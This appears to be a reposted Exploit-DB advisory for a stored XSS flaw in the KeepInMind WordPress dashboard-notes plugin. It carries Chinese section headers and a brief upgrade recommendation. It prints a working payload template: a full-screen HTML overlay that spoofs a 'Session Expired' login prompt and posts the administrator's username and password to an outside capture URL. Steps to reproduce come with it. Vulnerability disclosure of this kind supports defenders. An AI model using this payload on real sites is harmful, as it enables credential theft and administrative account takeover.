[webapps] KeepInMind 0.8.4.2 - Stored XSS

📋 漏洞基础信息

⚔️ 原始 PoC

# Exploit Author: Pavan N
# CVSS Score: 9.0 (Critical)

1. Technical Description:
The KeepInMind - Dashboard Notes plugin (version 0.8.4.2 and below) fails to properly restrict dangerous CSS properties within the 'wp_kses' sanitization filter when processing the 'content' parameter via its REST API endpoint. Authenticated attackers with Contributor+ privileges can inject custom HTML/CSS utilizing 'position: fixed',
'z-index',and viewport units (vw/vh). When an Administrator views the dashboard,the payload renders globally over the viewport,redressing the UI to spoof a high-fidelity "Session Expired" re-authentication prompt,
enabling administrative account takeover.

2. Proof of Concept / Payload Template:
An attacker sends a POST request to the plugin's note-saving REST endpoint with the following HTML payload structure:

<div style="position: fixed;top: 0;left: 0;width: 100vw;height: 100vh;z-index: 999999;background: #f0f0f1;"><form action="http://example.com/capture.php" method="POST">
<h3>Session Expired. Please log in again.</h3><input type="text" name="log" placeholder="Username"><input type="password" name="pwd" placeholder="Password"><input type="submit" value="Log In"></form></div>
3. Steps to Reproduce:
a. Log in as a Contributor user.
b. Issue a request to update/create a dashboard note containing the layout-redressing payload.
c. Log in as an Administrator and navigate to the main dashboard page.
d. Observe the entire administrative interface obscured by the injected container.

🛡️ 修复建议

请升级到厂商最新安全版本。

📎 参考链接

• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-07-25 08:17 | 来源: Exploit-DB